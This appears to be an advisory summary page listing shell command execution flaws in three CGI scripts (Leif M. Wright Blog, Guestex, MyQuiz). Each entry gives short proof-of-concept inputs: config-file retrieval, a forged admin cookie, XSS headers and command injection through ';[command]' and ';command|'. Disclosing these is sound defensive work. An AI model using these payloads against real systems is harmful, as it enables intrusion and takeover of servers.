Recent Shell Command Execution vulnerabilities
Here is short summary of recent Shell Command Execution vulnerabilities discovered by eVuln team. Full list with details is available on the eVuln Security Advisories page.
Multiple flaws in Leif M. Wright Blog.
Description.
All "txt" files isn't protected by htaccess(or any other ways) in default installiation. This can be used to retrieve administrator's password from config file.
"blog.cgi" script dont make password comparisson when identifying administrator by cookie.
Administrator has an ability to edit blog configuration including full path to sendmail program. This can be used to execute arbitrary shell commands.
System access is possible.
Environment variables HTTP_REFERER and HTTP_USER_AGENT are not properly sanitized. This can be used to post HTTP query with fake Referer or User-Agent values which may contain arbitrary html or script code. This code will be executed when administrator will open "Log" page.
Exploit.
Url example:
http://[host]/cgi-bin/blog/blogconfig.txt
Cookie: blogAdmin=true
Sendmail: /bin/ls
GET /cgi-bin/blog/blog.cgi HTTP/1.0
Host: [host]
Referer: [XSS]
User-Agent: [XSS]
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
file=15-13.59.39.txt&year=2006&month=February&name=zz&comment=zzz&submit=Enter%20my%20comment
Solution
Solution is not available.
Other details >>Guestex Shell Command Execution Vulnerability.
Description.
Vulnerable Script: guestex.pl
Variable $form{'email'} isn't properly sanitized. This can be used to execute arbitrary shell commands.
System access is possible.
Exploit.
When adding new record:
email: some@email.com;[command]
Solution
Solution is not available.
Other details >>Arbitrary Shell Command Execution in MyQuiz.
Description.
Vulnerable Script: myquiz.pl
Variable $ENV{'PATH_INFO'} isn't properly sanitized. This can be used to execute arbitrary commands.
System access is possible.
Exploit.
Url Example:
http://host/cgi-bin/myquiz.pl/ask/;command|
Solution.
Vendor-provided solution is available now.
New version of script can be downloaded here:
http://www.corantodemo.net/coranto/viewnews.cgi?id=EpApAAAVkyirPGThSf&style=dldetails
Other details >>